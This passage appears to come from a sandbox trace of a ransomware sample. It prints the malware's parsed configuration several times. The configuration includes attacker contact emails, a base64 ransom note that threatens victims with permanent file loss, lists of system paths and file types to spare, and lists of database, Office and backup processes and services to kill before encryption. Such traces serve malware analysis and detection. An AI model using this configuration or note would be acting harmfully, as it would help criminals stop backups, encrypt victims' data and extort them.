ZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0xc) returned 0x4d3830 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de7a0 [0034.476] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa5c, _Radix=0 | out: _EndPtr=0x27fa5c*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x10) returned 0x4d3848 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de7c0 [0034.476] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", 